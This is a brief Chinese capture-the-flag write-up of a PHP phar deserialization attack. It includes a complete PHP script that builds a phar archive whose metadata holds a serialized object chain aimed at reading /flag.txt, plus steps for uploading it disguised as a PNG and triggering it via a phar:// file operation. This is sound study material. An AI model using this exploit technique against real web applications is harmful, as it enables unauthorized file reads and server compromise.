步骤：
1.运行这个：
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
生成一个phar.phar文件：
注意要设置：phar.readonly = Off。PS:一开始我用的是PHP7无法生成，后来改成PHP5便可以了
2.更改Content-Type为image/png然后上传
3.在delete里面读取phar得到flag
解析[phar]：
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，其中就有file_get_contents() ,所以我们可以把一个序列化的对象，储存在phar格式的文件中
将phar伪造成其他格式的文件:php识别phar文件是通过其文件头的stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
整体思路是：通过User调用File中的close()读取flag但是要经FileList绕一下，不然没有回显
详细走大佬连接
参考：
https://blog.csdn.net/weixin_44077544/article/details/102844554